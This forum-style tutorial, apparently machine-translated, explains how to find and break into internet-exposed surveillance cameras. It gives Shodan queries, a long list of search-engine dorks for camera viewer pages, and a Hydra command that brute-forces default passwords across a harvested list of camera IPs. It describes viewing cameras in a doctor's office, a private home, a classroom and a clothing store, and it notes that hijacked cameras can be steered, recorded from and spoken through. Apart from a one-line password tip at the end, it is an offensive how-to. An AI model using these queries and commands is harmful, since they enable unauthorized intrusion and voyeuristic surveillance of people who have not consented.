How to find and “hack” surveillance cameras?

[DronVR]

How to find and “hack” surveillance cameras?

Good day. Today we’ll talk about protection and access to surveillance cameras. There are a lot of them and they are used for different purposes. As always, we will use the standard database, which will allow us to find such cameras and select passwords for them.

Theory
Most devices are not configured or updated after installation. Therefore, our target audience is under popular ports. 8000 , 8080 and 554 . If you need to scan the network, it is better to immediately select these ports.

Method number 1
For a good example, you can see interesting queries in the search engines Shodan and Sensys. Let's consider some illustrative examples with simple queries.

 has_screenshot: true port: 8000 // 183 results; 
 has_screenshot: true port: 8080 // 1025 results; 
 has_screenshot: true port: 554 // 694 results;

In such a simple way, you can access a large number of open cameras that are located in interesting places: shops, hospitals, gas stations, etc. Let's consider a few interesting options for clarity.

Doctor's appointment​

Private house, somewhere deep in Europe​

A class somewhere in Chelyabinsk​

Women's clothing store​

In this simple way, you can find a lot of interesting objects to which access is open. Do not forget that you can use the country filter to get country data.

 has_screenshot: true port: 8000 country: ru 
 has_screenshot: true port: 8080 country: ru 
 has_screenshot: true port: 554 country: ru

Method number 2
You can use the search for standard social networks. To do this, it is better to use page headers when viewing images from cameras, here is a selection of the most interesting options:

 inurl: /view.shtml 
 inurl: ViewerFrame? Mode = 
 inurl: ViewerFrame? Mode = Refresh 
 inurl: view / index.shtml 
 inurl: view / view.shtml 
 intitle: ”live view” 
 intitle: axis 
 intitle: liveapplet 
 all in title: ”Network Camera Network Camera” 
 intitle: axis intitle: ”video server” 
 intitle: liveapplet 
 inurl: LvAppl 
 intitle: ”EvoCam” 
 inurl: ”webcam.html” 
 intitle: ”Live NetSnap Cam-Server feed” 
 intitle: ”Live View / - AXIS 206M” 
 intitle: ”Live View / - AXIS 206W” 
 intitle: ”Live View / - AXIS 210 ″ 
 inurl: indexFrame.shtml Axis 
 intitle: start inurl: cgistart 
 intitle: ”WJ-NT104 Main Page” 
 intitle: snc-z20 inurl: home / 
 intitle: snc-cs3 inurl: home / 
 intitle: snc-rz30 inurl: home / 
 intitle: ”sony network camera snc-p1 ″ 
 intitle: ”sony network camera snc-m1 ″ 
 intitle: ”Toshiba Network Camera” user login 
 intitle: ”i-Catcher Console - Web Monitor”

We reap the benefits and find the airport ​

Company office ​

Add another port to the collection and you can complete ​

Method number 3

This method is the target. It is used when we have either one point and we need to find a password or we want to run the database using standard passwords and find valid results. Hydra is perfect for these purposes. To do this, you need to prepare a dictionary. You can go over and look for standard passwords for routers.

Let's look at a specific example. There is a camera model, DCS-2103. She is quite common. It works through port 80. Let's use the appropriate data and find the necessary information in shadan.

Next, we collect all the IP potential goals that are of interest to us. Next, we form a list. We collect a list of passwords and we will all use this using the hydra utility. To do this, we need to add a dictionary, IP list to the folder and execute the following command:

 hydra -l admin -P pass.txt -o good.txt -t 16 -vV -M targets.txt http-get

There should be a file in the root folder pass.txt with passwords, login we use one admin with the -l parameter, if you need to specify a dictionary for logins, then you need to add a file to the root directory and register it with the -L parameter. The selected results will be saved in a file good.txt . The list of IP addresses must be added to the root directory with the file targets.txt . The last phrase in the team http-get responsible for the connection through the port 80 .

Program operation example
​

Entering a team and getting started ​

In the end I want to add some information about the scan. To get the network numbers, you can use the excellent [DLMURL="https://4it.me/getlistip"] service. [/ DLMURL] Next, these networks need to be checked for the presence of the ports we need. I will not recommend scanners, but I’ll say that it’s worth moving towards such and similar scanners like masscan, vnc scanner and others. It can be written based on the well-known nmap utility. The main task is to scan the range and find active IPs with the necessary ports.

Conclusion
Remember that in addition to standard viewing, you can take more photos, record videos and download it yourself. You can also control the camera and rotate in the desired directions. And the most interesting thing is the ability to turn on sounds and talk on some cameras. What can I advise here? Set a reliable access password and be sure to forward ports.